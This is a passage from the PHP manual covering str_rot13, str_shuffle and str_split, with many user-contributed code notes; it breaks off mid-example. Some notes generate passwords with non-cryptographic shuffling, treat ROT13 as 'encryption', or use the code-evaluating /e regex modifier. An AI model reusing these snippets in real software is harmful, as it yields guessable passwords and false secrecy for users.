echo str_replace($match,$replace,$sample);
?>

It will show: "MANY LETTERS WORDS SAMPLE"

That is, after replacing "ONE" with "TWO WORDS", process follows with next array item and it changes "TWO" with "MANY LETTERS".
str_repeat
str_rot13
String Functions


Perform the rot13 transform on a string

str_replace
str_shuffle
String Functions
PHP Manual

str_rot13

(PHP 4 >= 4.2.0, PHP 5)

str_rot13 — Perform the rot13 transform on a string

Description

string str_rot13 ( string $str )

Performs the ROT13 encoding on the str argument and returns the resulting string.

The ROT13 encoding simply shifts every letter by 13 places in the alphabet while leaving non-alpha characters untouched. Encoding and decoding are done by the same function, passing an encoded string as argument will return the original version.

Parameters

str

The input string.

Return Values

Returns the ROT13 version of the given string.

Examples

Example #1 str_rot13() example

<?php

echo str_rot13('PHP 4.3.0'); // CUC 4.3.0

?>

Changelog

Version | Description
4.3.0 | The behaviour of this function was fixed. Before this fix, the str was also modified, as if it was passed by reference.

User Contributed Notes

shaunspiller at spammenotgmail dot com 26-Sep-2009 08:54
Here's my implementation of a str_rot that takes a custom offset. It's faster than the others here because it allocates the output string in one go instead of tacking on characters one at a time. It can handle positive or negative offsets of any size, and it fixes everything up to ensure only upper and lower case letters are translated and that they wrap around correctly within the alphabet.

<?php
function str_rot($s, $n = 13) {
    $n = (int)$n % 26;
    if (!$n) return $s;
    for ($i = 0, $l = strlen($s); $i < $l; $i++) {
        $c = ord($s[$i]);
        if ($c >= 97 && $c <= 122) {
            $s[$i] = chr(($c - 71 + $n) % 26 + 97);
        } else if ($c >= 65 && $c <= 90) {
            $s[$i] = chr(($c - 39 + $n) % 26 + 65);
        }
    }
    return $s;
}
?>
peter at NOSPAM jamit dot com 07-Sep-2009 07:31
This ROT13 variant is different from my earlier version in that it retains 'ethnicity'. For example, a Chinese text when encrypted will remain Chinese, and the string will not be making sense (the real meaning will be encrypted). Just look at the code and you will understand.

<?php

function unichar2ords($char, $encoding = 'UTF-8') {
    $char = mb_convert_encoding($char, 'UCS-4', $encoding);
    $val = unpack('N', $char);
    return $val[1];
    }

function ords2unichar($ords, $encoding = 'UTF-8'){
    $char = pack('N', $ords);
    return mb_convert_encoding($char, $encoding, 'UCS-4');
    }

function mbStringToArray ($string, $encoding = 'UTF-8') {
    if (empty($string)) return false;
    for ($strlen = mb_strlen($string, $encoding); $strlen > 0; ) {
        $array[] = mb_substr($string, 0, 1, $encoding);
        $string  = mb_substr($string, 1, $strlen, $encoding);
        $strlen  = $strlen - 1;
        }
    return $array;
    }

function unicodeRotN($str, $offset, $encoding = 'UTF-8') {
    $val = '';
    $array = mbStringToArray ($str, $encoding = 'UTF-8');
    $len = count($array);
    for ($i = 0; $i < $len; $i++) {
        $val .= ords2unichar(unichar2ords($array[$i], $encoding) + $offset, $encoding);
        }
    return $val;
    }

// example

$original = '中國是我的家'; // means "China is my home"

$encrypted = unicodeRotN($string, 13); // 为團昼戞皑寃 means "Ñ Ai injustice for the Mission Day" (Google translation)

$decrypted = unicodeRotN($encrypted, -13); // 中國是我的家

?>
peter at NOSPAM jamit dot com 07-Sep-2009 01:11
Here is my ROT13 function that works for all possible characters and not just ASCII. It can be used on Chinese, Japanese, ....

<?php

function rot13encrypt ($str) {
    return str_rot13(base64_encode($str));
    }

function rot13decrypt ($str) {
    return base64_decode(str_rot13($str));
    }

// example

$string = '中國是我的家';

$encrypted = rot13encrypt ($string); // produces 5Yvg5MlY5cvi5bvE55dR5n62

$decrypted = rot13decrypt ($encrypted); // produces 中國是我的家

?>
grawity+phpnet at gmail dot com 31-Dec-2007 05:39
resubmitting updated function in re:#76975
<?php
function asc_shift($str,$offset=0) {
    $new = '';
    for ($i = 0; $i < strlen($str); $i++)
        $new .= chr(ord($str[$i])+$offset);
    return $new;
}
?>
because as of PHP 6, $str{$i} is deprecated.
nick at lazy-river dot net 08-Aug-2007 09:01
This is recursive function to shift the component letters of a string left or right in the ascii table.

I've left it simple as it suits my needs, but you may want to include error checking for a null string and also put bounds in place, or make it actually rotate around the whole character set rather than just shifting the string up or down.

function asc_shift($string, $amount) {
  $key = substr($string, 0, 1);
  if(strlen($string)==1) {
    return chr(ord($key) + $amount);
  } else {
    return chr(ord($key) + $amount) . asc_shift(substr($string, 1, strlen($string)-1), $amount);
  }
}

For example:
<?php
echo asc_shift("TESTING12345@", 5);
?>

shifts every character up 5 ascii positions, resulting in this string:

YJXYNSL6789:E

In reverse:

<?php
echo asc_shift("YJXYNSL6789:E", -5);
?>

shifts every character down 5 ascii positions, resulting in this string:

TESTING12345@
arwab at surrealwebs dot com 11-Jul-2007 01:11
here's my rot function, it works anyway
<?php
/**
 * preforms the rotation algorithm on the passed in string
 */
function _rot( $str , $dist=13 ){
    if( !is_numeric($dist) || $dist < 0){
        $dist = 13;
    }

    $u_lower =  65; $u_upper =  90;
    $l_lower =  97; $l_upper = 122;

    $char_count = ($u_upper - $u_lower) +1;

    while( $dist > $char_count ){
        $dist -= $char_count;
    }

    $newstr = '';

    for( $i=0; $i<strlen($str); ++$i){
        $c = ord($str[$i]);

        /*
         * Check if the character is within the bounds of our function (a-zA-z)
         * if not it gets tacked on to the string as is and we move on to the
         * next one.
         */
        if( $c<$u_lower || $c>$l_upper || ( $c>$u_upper && $c <$l_lower ) ){
            $newstr .= chr($c);
            continue;
        }

        $lower = ( $c<=$u_upper?$u_lower:$l_lower);
        $upper = ( $c<=$u_upper?$u_upper:$l_upper);

        $c += $dist;

        if( $c > $upper){
            $c = (($c - $upper) + ($lower-1));
        }

        $newstr .= chr($c);
    }

    return $newstr;
}
?>
electro at whatever dot com 31-May-2007 12:21
<?php

/**
 * Rotate each string characters by n positions in ASCII table
 * To encode use positive n, to decode - negative.
 * With n = 13 (ROT13), encode and decode n can be positive.
 *
 * @param string $string
 * @param integer $n
 * @return string
 */
function rotate($string, $n) {

    $length = strlen($string);
    $result = '';

    for($i = 0; $i < $length; $i++) {
        $ascii = ord($string{$i});

        $rotated = $ascii;

        if ($ascii > 64 && $ascii < 91) {
            $rotated += $n;
            $rotated > 90 && $rotated += -90 + 64;
            $rotated < 65 && $rotated += -64 + 90;
        } elseif ($ascii > 96 && $ascii < 123) {
            $rotated += $n;
            $rotated > 122 && $rotated += -122 + 96;
            $rotated < 97 && $rotated += -96 + 122;
        }

        $result .= chr($rotated);
    }

    return $result;
}

$enc = rotate('string', 6);
echo "Encoded: $enc<br/>\n";
echo 'Decoded: ' . rotate($enc, -6);

?>
maximius at gmail dot com 25-May-2007 04:30
Perhaps someone will find this useful ;)

<?
           function rotN($s, $n){
                $s2 = "";
                for($i = 0; $i < strlen($s); $i++){
                    $char2 = $char = ord($s{$i});
                    $cap = $char & 32;

                    $char &= ~ $cap;
                    $char = $char > 64 && $char < 123 ? (($char - 65 + $n) % 26 + 65) : $char;
                    $char |= $cap;
                    if($char < 65 && $char2 > 64 || ($char > 90 && $char < 97 && ($char2 < 91 || $char2 > 96))) $char += 26;
                    else if($char > 122 && $char2 < 123) $char -= 52;
                    if(strtoupper(chr($char2)) === chr($char2)) $char = strtoupper(chr($char)); else $char = strtolower(chr($char));
                    $s2 .= $char;
                }
                return $s2;
            }
?>
It takes any string, $s, and any ROT value, $n. Just like str_rot13, it's both an encoder and decoder. To decode an encoded string, just pass -$n instead of $n.
str_replace
str_shuffle
String Functions


Randomly shuffles a string

str_rot13
str_split
String Functions
PHP Manual

str_shuffle

(PHP 4 >= 4.3.0, PHP 5)

str_shuffle — Randomly shuffles a string

Description

string str_shuffle ( string $str )

str_shuffle() shuffles a string. One permutation of all possible is created.

Parameters

str

The input string.

Return Values

Returns the shuffled string.

Examples

Example #1 str_shuffle() example

<?php
$str = 'abcdef';
$shuffled = str_shuffle($str);

// This will echo something like: bfdaec
echo $shuffled;
?>

See Also

  • shuffle() - Shuffle an array
  • rand() - Generate a random integer

User Contributed Notes

Anonymous 21-Jun-2010 10:32
Shuffle for all encoding formats

<?php

function unicode_shuffle($string, $chars, $format = 'UTF-8')
{
    for($i=0; $i<$chars; $i++)
        $rands[$i] = rand(0, mb_strlen($string, $format));

        $s = NULL;

    foreach($rands as $r)
        $s.= mb_substr($string, $r, 1, $format);

    return $s;
}

?>
andre at admolin dot com 01-Apr-2010 11:11
Here are nice functions for invert/randomize/alter the capitalization of a string.

<?php
function invert_case( $str ) {
    for( $i = 0; $i < strlen( $str ); ++$i ) {
        $ret .= ( $str[ $i ] == strtolower( $str[ $i ] ) ) ? strtoupper( $str[ $i ] ) : strtolower( $str[ $i ] );
    }

    return $ret;
}

function rand_case( $str ) {
    for( $i = 0; $i < strlen( $str ); ++$i ) {
        $ret .= ( rand( 0, 1 ) == 0 ) ? strtolower( $str[ $i ] ) : strtoupper( $str[ $i ] );
    }

    return $ret;
}

function alter_case( $str ) {
    for( $i = 0; $i < strlen( $str ); ++$i ) {
        $ret .= ( $i % 2 == 0 ) ? strtoupper( $str[ $i ] ) : strtolower( $str[ $i ] );
    }

    return $ret;
}
?>

Examples:

<?php
# o RATO ROEU A ROUPA DO REI DE ROMA.
echo invert_case( 'O rato roeu a roupa do rei de roma.' );

# o RATo RoEU A ROUpA Do reI De rOma.
echo rand_case( 'O rato roeu a roupa do rei de roma.' );

# O RaTo rOeU A RoUpA Do rEi dE RoMa.
echo alter_case( 'O rato roeu a roupa do rei de roma.' );
?>
benshelock at gmail dot com 09-Apr-2009 01:51
<?php
$a = str_shuffle('abcdefghijklmnopqrstuvwxyz1234567890');
echo substr($a,0,6);
?>
Creates a nice 6 digit unique ID similar to that of tinyurl.
merreborn at mailinator dot com 24-Jan-2008 11:46
Re: jojersztajner at OXYGEN dot POLAND

"It may be useful if you want to create an accessible CAPTCHA."

This is a flawed concept, since:

1) It's not really accessible -- your scrambled text would produce incomprehensible output if passed through a screen reader (just imagine what a computer saying "uinervtisy" would sound like)

2) It's in no way secure.  A simple script with access to a copy of /usr/dict/words can reduce the space of possible solutions to no more than a handful.

i.e., it's trivial for a script to generate a command like the following, which solves the "uinervtisy" example 100% of the time:

php@server:~$ egrep -i '^u[inervts]{8}y$' /usr/share/dict/words
university
php@server:~$

Novel idea, but it would take a clever spammer all of 5 minutes to defeat it completely.
jojersztajner at OXYGEN dot POLAND 16-Jun-2007 03:27
Aoccdrnig to rseearch at an Elingsh uinervtisy, it deosn't mttaer in waht oredr the ltteers in a wrod are, the olny iprmoatnt tihng is that the frist and lsat ltteer is at the rghit pclae. The rset can be a toatl mses and you can sitll raed it wouthit a porbelm. Tihs is bcuseae we do not raed ervey lteter by it slef but the wrod as a wlohe.

Hree's a cdoe taht slerbmcas txet in tihs way:
<?php
    function scramble_word($word) {
        if (strlen($word) < 2)
            return $word;
        else
            return $word{0} . str_shuffle(substr($word, 1, -1)) . $word{strlen($word) - 1};
    }

    echo preg_replace('/(\w+)/e', 'scramble_word("\1")', 'A quick brown fox jumped over the lazy dog.');
?>

It may be ufseul if you wnat to cetare an aessblicce CTCPAHA.
CygnusX1 14-Feb-2007 01:17
To cobine functionality and simplicity of the two functions below we can have:

<?php
function generatePasswd($numAlpha=6,$numNonAlpha=2)
{
   $listAlpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
   $listNonAlpha = ',;:!?.$/*-+&@_+;./*&?$-!,';
   return str_shuffle(
      substr(str_shuffle($listAlpha),0,$numAlpha) .
      substr(str_shuffle($listNonAlpha),0,$numNonAlpha)
    );
}
?>
dzafel at op dot pl 29-Dec-2006 01:16
Very, very simple random password generator, without using rand() function:

<?php
function random_password($chars = 8) {
   $letters = 'abcefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
   return substr(str_shuffle($letters), 0, $chars);
}
?>
nmoyroud at teledetection dot fr 03-Nov-2005 04:38
Just another update to password builder function. With this version, you can choose the number of alphanumeric characters to add and the number of non-alphanumeric characters. You obtain a more secure password. You can add another characters to the non-alphanumeric list if you need.
If you want a password with 8 alphanumeric and 3 non-alphanumeric characters in a random order, just call :
random_passwd(8,3);

function generatePasswd($numAlpha=6,$numNonAlpha=2) {
    $pwd = '';
    $listAlpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $listNonAlpha = ',;:!?.$/*-+&@_+;./*&?$-!,';

    $start = mt_rand(1, (strlen($listAlpha)-$numAlpha));
    $string = str_shuffle($listAlpha);
    $pwd .= substr($string,$start,$numAlpha);

    $start = mt_rand(1, (strlen($listNonAlpha)-$numNonAlpha));
    $string = str_shuffle($listNonAlpha);
    $pwd .= substr($string,$start,$numNonAlpha);

    return str_shuffle($pwd);
}
support at wiredlabs dot net 15-Aug-2005 02:03
Just an update to sfalcon's function.  Chooses a random number within the length and then selects a random segment not the current segment of 1 to $numchar. Also added upper-case chars.

function random_passwd($numchar=8) {
    $str = "abcefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $start = mt_rand(1, (strlen($str)-$numchar));
    $string = str_shuffle($str);
    $password = substr($string,$start,$numchar);
    return($password);
}
Qube, Efnet #php 05-Aug-2005 04:20
(correction)
I balked at the loop method used below in inverting and randomising capitalisation and released that we just need to flip the bit (3rd bit or 6th depending on what way you look at it) and it would cause the case change in a character.

Full code and example:
http://www.pgregg.com/projects/php/code/str_case.php
(append an s to the url to get the .phps source)

I came up with a method and thanks to arpad (optimising as ever! :) we now have:

Invert case:
preg_replace('/[a-z]/ie', '\'$0\' ^ str_pad(\'\', strlen(\'$0\'), \' \')', $input);

Randomise case:
preg_replace('/[a-z]/ie', '(rand(0,1) ? \'$0\' ^ str_pad(\'\', strlen(\'$0\'), \' \') : \'$0\')', $input);

and for good measure:
Upper case:
preg_replace('/[a-z]/e', '\'$0\' & str_pad(\'\', strlen(\'$0\'), chr(223))', $input);

Lower case:
preg_replace('/[A-Z]/e', '\'$0\' | str_pad(\'\', strlen(\'$0\'), \' \')', $input);
rudigreen at gmail dot com 01-Jul-2005 07:20
Here are 2 functions, one inverts the case of a string and the other one randomizes the captilization in a string, kinda
useful string operations.

<?

//Inverts the case of a string
function invert_case($str)
{
    $nstr = '';
    for($i=0;$i<strlen($str);$i++)
    {
        $char = substr($str,$i,1);
        //If it's lower case make it upper case
        if($char == strtolower($char))
        {
            $char = strtoupper($char);
        }
        else //if it's upper than make it lower
        {
            $char = strtolower($char);
        }
        $nstr .= $char;
    }
    return $nstr;
}

//Randomly capilizes/uncaptilizes chars in a string
function rand_case($str)
{
    $nstr = '';
    for($i=0;$i<strlen($str);$i++)
    {
        $char = substr($str,$i,1);
        $char = invert_case($char);
        //2 options, to change or not to change
        rand(0,1) == 1 ? $char = invert_case($char) : null;
        $nstr .= $char;
    }
    return $nstr;
}

//Example:
echo rand_case("pHp rooLz! gUyZ"); //produces something random
echo invert_case("pHP STRiNG sEx");//produces Php strIng SeX
?>
Michiel van den boogaard 17-Jan-2005 02:03
Shortend function for PHP < 4.3
<?php
function RandomPass($numchar)
{
    $word = "a,b,c,d,e,f,g,h,i,j,k,l,m,1,2,3,4,5,6,7,8,9,0";
    $array=explode(",",$word);
    shuffle($array);
    $newstring = implode($array,"");
    return substr($newstring, 0, $numchar);
}
?>
aidan at php dot net 26-Aug-2004 03:31
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
sfalcon_(at)_pymesweb_(dot)_com 26-Aug-2004 08:28
You can use str_shuffle to make simple and nice random passwords:

function random_passwd($numchar) {
      $string =str_shuffle("abcefghijklmnopqrstuvwxyz1234567890");
      $password = substr($string,1,$numchar);

      return($password);
}

echo random_passwd('8') // Will return something like "xa3dh214" =)
str_rot13
str_split
String Functions


Convert a string to an array

str_shuffle
str_word_count
String Functions
PHP Manual

str_split

(PHP 5)

str_split — Convert a string to an array

Description

array str_split ( string $string [, int $split_length = 1 ] )

Converts a string to an array.

Parameters

string

The input string.

split_length

Maximum length of the chunk.

Return Values

If the optional split_length parameter is specified, the returned array will be broken down into chunks with each being split_length in length, otherwise each chunk will be one character in length.

FALSE is returned if split_length is less than 1. If the split_length length exceeds the length of string, the entire string is returned as the first (and only) array element.

Examples

Example #1 Example uses of str_split()

<?php

$str = "Hello Friend";

$arr1 = str_split($str);
$arr2 = str_split($str, 3);

print_r($arr1);
print_r($arr2);

?>

The above example will output:

Array
(
    [0] => H
    [1] => e
    [2] => l
    [3] => l
    [4] => o
    [5] =>
    [6] => F
    [7] => r
    [8] => i
    [9] => e
    [10] => n
    [11] => d
)

Array
(
    [0] => Hel
    [1] => lo
    [2] => Fri
    [3] => end
)

See Also

  • chunk_split() - Split a string into smaller chunks
  • preg_split() - Split string by a regular expression
  • explode() - Split a string by string
  • count_chars() - Return information about characters used in a string
  • str_word_count() - Return information about words used in a string
  • for

User Contributed Notes

anon 15-Jun-2010 08:53
I needed a function that could split a string from the end with any left over chunk being at the beginning of the array (the beginning of the string).

<?php
function str_rsplit($str, $sz)
{
    // splits a string "starting" at the end, so any left over (small chunk) is at the beginning of the array.
    if ( !$sz ) { return false; }
    if ( $sz > 0 ) { return str_split($str,$sz); }    // normal split

    $l = strlen($str);
    $sz = min(-$sz,$l);
    $mod = $l % $sz;

    if ( !$mod ) { return str_split($str,$sz); }    // even/max-length split

    // split
    return array_merge(array(substr($str,0,$mod)), str_split(substr($str,$mod),$sz));
}

$str = 'aAbBcCdDeEfFg';
str_split($str,5); // return: {'aAbBc','CdDeE','fFg'}
str_rsplit($str,5); // return: {'aAbBc','CdDeE','fFg'}
str_rsplit($str,-5); // return: {'aAb','BcCdD','eEfFg'}

?>
seebz.net 03-May-2010 06:27
here an equivalent function for unicode string :

<?php
function uni_strsplit($string, $split_length=1)
{
    preg_match_all('`.`u', $string, $arr);
    $arr = array_chunk($arr[0], $split_length);
    $arr = array_map('implode', $arr);
    return $arr;
}
nemostein at hotmail dot com 28-Aug-2009 11:51
The manual don't says what is returned when you parse a different type of variable.

This is the example:

<?php

$str1 = "Long"; // More than 1 char
$str2 = "x"; // Only 1 char
$str3 = ""; // Empty String
$str4 = 34; // Integer
$str5 = 3.4; // Float
$str6 = true; // Bool
$str7 = null; // Null

$spl1 = str_split($str1);
$spl2 = str_split($str2);
$spl3 = str_split($str3);
$spl4 = str_split($str4);
$spl5 = str_split($str5);
$spl6 = str_split($str6);
$spl7 = str_split($str7);

echo count($spl1); // 4
echo count($spl2); // 1
echo count($spl3); // 1
echo count($spl4); // 2
echo count($spl5); // 3
echo count($spl6); // 1
echo count($spl7); // 1

print_r($spl1);
print_r($spl2);
print_r($spl3);
print_r($spl4);
print_r($spl5);
print_r($spl6);
print_r($spl7);

/*

Array
(
    [0] => L
    [1] => o
    [2] => n
    [3] => g
)
Array
(
    [0] => x
)
Array
(
    [0] =>
)
Array
(
    [0] => 3
    [1] => 4
)
Array
(
    [0] => 3
    [1] => .
    [2] => 4
)
Array
(
    [0] => 1
)
Array
(
    [0] =>
)

*/

?>
mattias at lsahlin dot se 19-Mar-2009 06:46
For those it may concern:

We encountered trubble when trying to str_split a UTF-8 encoded string, containing such Swedish letters as å, å and ö.

It seems that this function splits according to byte-length and not character length. So if the letter "Å" takes 2 bytes, then str_split() will only return the first bite of the character "Å".

We ain't 100% sure that this is the case but this was anyhow the result we got. So we used the multi-byte functions instead.
thax 23-Nov-2008 06:44
Regarding ricordatis comment on preg_match_all('/./u',...) instead of preg_split('//u',...):
You'll have to use the pattern '/./us' with preg_match_all to get exactly the same behaviour w.r.t. newlines. Don't know if this is still faster, though. Oh, and the expected result is in $array[0].
rrelmy 04-Aug-2008 07:20
revised function from tatsudoshi

Fixed some bugs, more php5 style compliant
<?php
if(!function_exists('str_split')) {
    function str_split($string,$string_length=1) {
        if(strlen($string)>$string_length || !$string_length) {
            do {
                $c = strlen($string);
                $parts[] = substr($string,0,$string_length);
                $string = substr($string,$string_length);
            } while($string !== false);
        } else {
            $parts = array($string);
        }
        return $parts;
    }
}
?>
ricordati at web dot de 01-Aug-2008 07:21
To split unicode text, preg_match_all('/./u', $text, $array); seems faster for large strings than the use of preg_split('//u', $text); suggested by "edgaras dot janusauskas at gmail dot com" below.
vec [ at t] g dot com 21-Jun-2008 08:38
the fastast way (that fits my needs) to replace str_split() in php 4 i found is this:

<?php
if(!function_exists('str_split')) {
  function str_split($string, $split_length = 1) {
    $array = explode("\r\n", chunk_split($string, $split_length));
    array_pop($array);
    return $array;
  }
}
?>

i also tested the provided functions in the comments..

(the differences are 0.001 to 0.00001 sec)
saeedco 21-May-2008 03:20
This function supportes utf8

(improvement of function str_split_php4)

i tried this function successfully with these languages
1- Chinese
2- Japanese
3- Arabic
4- Turkish
5- Urdu
6- Russian
7- Persian

<?php
function str_split_php4_utf8($str) {
    // place each character of the string into and array
    $split=1;
    $array = array();
    for ( $i=0; $i < strlen( $str ); ){
        $value = ord($str[$i]);
        if($value > 127){
            if($value >= 192 && $value <= 223)
                $split=2;
            elseif($value >= 224 && $value <= 239)
                $split=3;
            elseif($value >= 240 && $value <= 247)
                $split=4;
        }else{
            $split=1;
        }
            $key = NULL;
        for ( $j = 0; $j < $split; $j++, $i++ ) {
            $key .= $str[$i];
        }
        array_push( $array, $key );
    }
    return $array;
}
?>
lskatz at gmail dot com 07-May-2008 11:42
A good use of str_split is reverse translating an amino acid sequence.

<?php
/* reverse translate an aa sequence using its dna counterpart */
function reverseTranslate($aaSeq,$ntSeq){
  $nt=str_split($ntSeq,3);
  $aa=str_split($aaSeq,1);
  $gapChar=array('*','-');

  $numAa=count($aa);
  $ntIndex=0;
  $newNtSeq="";
  for($i=0;$i<$numAa;$i++){
    // if the aa is a gap, then just put on a gap character
    if(in_array($aa[$i],$gapChar)){
      $newNtSeq.='---';
    }
    else{
      $newNtSeq.=$nt[$ntIndex];
      $ntIndex++;
    }
  }
  return $newNtSeq;
}
?>
kevin at metalaxe dot com 14-Mar-2008 08:49
Response to "Richard Ayotte 18-Jan-2008 09:27":

Slight tweak to prevent the need to call another preg_replace, there were also some bugs in this that I'm surprised didn't get noticed (causing duplicate replaces between the preg_replace calls) :)

Please feel free to optimize further. I'm not the best with lookahead/behinds yet. I also removed the :upper/lower: and it seemed to speed things up too.

<?php
$test = 'CustomerIDWithSomeOtherJETWords';

preg_replace('/(?!^)[A-Z]{2,}(?=[A-Z][a-z])|[A-Z][a-z]/', ' $0', $test));
?>

Shaves off a little time anyway. :)
Ap.Muthu 07-Feb-2008 04:20
Syntax corrected version:-

<?php
    if(! function_exists('str_split'))
    {
        function str_split($text, $split = 1)
        {
            $array = array();

            for ($i = 0; $i < strlen($text); $i += $split)
            {
                $array[] = substr($text, $i, $split);
            }

            return $array;
        }
    }
?>
Richard Ayotte 18-Jan-2008 06:27
Slight mod to the CamelCaseFormat regex that behaves better with strings with multiple upper case letters immediately following each other.

CustomerID -> Customer ID and not Customer I D

<?php
$test = 'CustomerIDWithSomeOtherJETWords';

preg_replace('/(?!^)[[:upper:]][[:lower:]]/', ' $0', preg_replace('/(?!^)[[:upper:]]+/', ' $0', $test));
?>

Customer ID With Some Other JET Words
Anonymous 03-Jan-2008 12:04
Version of str_split by rlpvandenberg at hotmail dot com is god-damn inefficient and when $i+$j > strlen($text) [last part of string] throws a lot of notice errors. This should work better:

    if(! function_exists('str_split'))
    {
        function str_split($text, $split = 1)
        {
            $array = array();

            for ($i = 0; $i < strlen($text);)
            {
                $array[] = substr($text, $i, $split);
                $i += $split;
            }

            return $array;
        }
    }
rlpvandenberg at hotmail dot com 19-Dec-2007 11:22
The previous suggestion is almost correct (and will only working for strlen=1. The working PHP4 function is:

<code>
function str_split($text, $split = 1){
    //place each character of the string into and array
    $array = array();
    for ($i=0; $i < strlen($text); $i++){
        $key = "";
        for ($j = 0; $j < $split; $j++){
            $key .= $text[$i+$j];
        }
        $i = $i + $j - 1;
        array_push($array, $key);
    }
    return $array;
}
</code>
skore at skore dot de 30-Nov-2007 09:16
dacmeaux at gmail dot com's version might work well for a $split value of 1, but above that, it just repeats the one character per array field and based on the $split value. The following does it right:

<?php
function str_split_php4( $text, $split = 1 ) {
    // place each character of the string into and array
    $array = array();
    for ( $i=0; $i < strlen( $text ); ){
        $key = NULL;
        for ( $j = 0; $j < $split; $j++, $i++ ) {
            $key .= $text[$i];
        }
        array_push( $array, $key );
    }
    return $array;
}
?>
mohd at ba7rain dot net 29-Nov-2007 02:24
this function can perform a reverse str_split. I write it for PHP4 but you can rename It for other versions..

if ( !function_exists('str_split') ) {
function str_split($string,$split_length=1){
    $sign = (($split_length<0)?-1:1);
    $strlen = strlen($string);
    $split_length = abs($split_length);
    if ( ($split_length==0) || ($strlen==0) ){
            $result = false;
            //$result[] = "";
    }
    elseif ($split_length >= $strlen){
        $result[] = $string;
    }
    else {
        $length = $split_length;
        for ($i=0; $i<$strlen; $i++){
            $i=(($sign<0)?$i+$length:$i);
            $result[] = substr($string,$sign*$i,$length);
            $i--;
            $i=(($sign<0)?$i:$i+$length);
            if ( ($i+$split_length) > ($strlen) ){
                $length = $strlen-($i+1);
            }
            else {
                $length = $split_length;
            }
        }
    }
    return $result;
}
}
www dot wesley at gmail dot com 25-Nov-2007 04:12
in response to Sam's CamelCase function:

<?php
$test = 'CamelCaseFormat';

echo preg_replace('/(?!^)[[:upper:]]/',' \0',$test);
?>
atolia at gmail----- dot com 10-Nov-2007 01:48
i use this in PHP4

function str_split($str){
   return preg_split('//',$str);
}
magisano at cs dot unibo dot it 06-Nov-2007 08:14
Even shorter version:

//place each character (or group of) of the
string into and array

function str_split_php4($sText, $iSplit = 1)
{
    $iSplit=(integer) $iSplit;       // sanity check
    if ($iSplit < 1) {  return false; }
    $aResult = array();
    for($i=0, $limit=strlen($sText); $i < $limit; $i+=$iSplit) {
        $aResult[]=substr($sText, $i, $iSplit);
    }
    return $aResult;
}
dacmeaux at gmail dot com 01-Nov-2007 01:57
I was looking for a function that would split a string into an array like str_split() and found Razor's function above. Just though that I would simplify the code a little.

<?php
function str_split_php4($text, $split = 1){
    //place each character of the string into and array
    $array = array();
    for($i=0; $i < strlen($text); $i++){
        $key = NULL;
        for ($j = 0; $j < $split; $j++){
            $key .= $text[$i];
        }
        array_push($array, $key);
    }
    return $array;
}
?>

Both mine and worksRazor's work well, I just prefer to use less code. I could have written one myself, but I was just being lazy.
Sam 25-Sep-2007 01:24
A good way to use this method to convert CamelCase text into nice text would be-

<?php
        /**
         Returns a formatted string based on camel case.
         e.g. "CamelCase" -> "Camel Case".
        */
        function FormatCamelCase( $string ) {
                $output = "";
                foreach( str_split( $string ) as $char ) {
                        strtoupper( $char ) == $char and $output and $output .= " ";
                        $output .= $char;
                }
                return $output;
        }
?>
edgaras dot janusauskas at gmail dot com 22-Aug-2007 05:30
To split unicode text, use preg_split('//u', $text);
kjensen at iaff106 dot com 11-Aug-2007 12:59
Here is what I use. I started with examples here but modified to my own version:

<?php
if (phpversion () < "5"){ // define PHP5 functions if server uses PHP4

function str_split($text, $split = 1)
{
if (!is_string($text)) return false;
if (!is_numeric($split) && $split < 1) return false;
$len = strlen($text);
$array = array();
$s = 0;
$e=$split;
while ($s <$len)
    {
        $e=($e <$len)?$e:$len;
        $array[] = substr($text, $s,$e);
        $s = $s+$e;
    }
return $array;
}
}
?>
l0c4lh0st DOT nl AT gmail DOT com 12-Jun-2007 05:28
how I can conwert
$string
 '1, 2, 5, 6, 10, 13, 23'
from ENUM at mySQL to

$array
[0] -> false
[1] -> true
[2] -> true
[3] -> false
[4] -> false
[5] -> true
[6] -> true
[7] -> false
[8] -> false
[9] -> false
[10] -> true
[11] -> false
[12] -> false
[13] -> true
[14] -> false
[15] -> false
...
[23] -> true

<?php
function enum_to_array($psEnum)
{
    $aReturn = array();
    $aTemp = explode(', ', $psEnum);
    for ($i = $aTemp[0]; $i <= $aTemp[count($aTemp)-1]; $i++)
    {
        $aReturn[$i] = in_array($i, $aTemp);
    }
}
?>
dhayes 07-Jun-2007 12:17
@razor: this'll work for php4
<?php
$str = 'two words';
$array = explode("\r\n", chunk_split($str,1));
?>
Razor 10-May-2007 12:02
heres my version for php4 and below

<?php

function str_split_php4($text, $split = 1)
{
    if (!is_string($text)) return false;
    if (!is_numeric($split) && $split < 1) return false;

    $len = strlen($text);

    $array = array();

    $i = 0;

    while ($i < $len)
    {
        $key = NULL;

        for ($j = 0; $j < $split; $j += 1)
        {
            $key .= $text{$i};

            $i += 1;
        }

        $array[] = $key;
    }

    return $array;
}

?>
26-Feb-2007 08:32
Problem with the post below me is, that the string can not contain the splitter "-1-".

Btw, here's my version.
<?php
function strsplit($str, $l=1) {
    do {$ret[]=substr($str,0,$l); $str=substr($str,$l); }
    while($str != "");
    return $ret;
}
?>
webmaster at nsssa dot ca 28-Oct-2006 07:45
I noticed in the post below me that his function would return an array with an empty key at the end.

So here is just a little fix for it.

<?php

//Create a string split function for pre PHP5 versions
function str_split($str, $nr) {

     //Return an array with 1 less item then the one we have
     return array_slice(split("-l-", chunk_split($str, $nr, '-l-')), 0, -1);

}

?>
05-Oct-2006 05:14
//fast & short version od str_split PHP3, 4x
function string_split($str, $nr){
    return split("-l-", chunk_split($str, $nr, '-l-'));
}
//example :
print_r(string_split('123412341234', 4));
ference at super_delete_brose dot co dot uk 31-Aug-2006 12:22
If you are looking for a way to split multibyte strings then this may come in handy:

<?php
$text  = "süpérbrôsé";

function mb_str_split($str, $length = 1) {
  if ($length < 1) return FALSE;

  $result = array();

  for ($i = 0; $i < mb_strlen($str); $i += $length) {
    $result[] = mb_substr($str, $i, $length);
  }

  return $result;
}

$solo = mb_str_split($text);
$quintet = mb_str_split($text, 5);

print_r($solo);
print_r($quintet);
?>

Spits out:

Array
(
    [0] => s
    [1] => ü
    [2] => p
    [3] => é
    [4] => r
    [5] => b
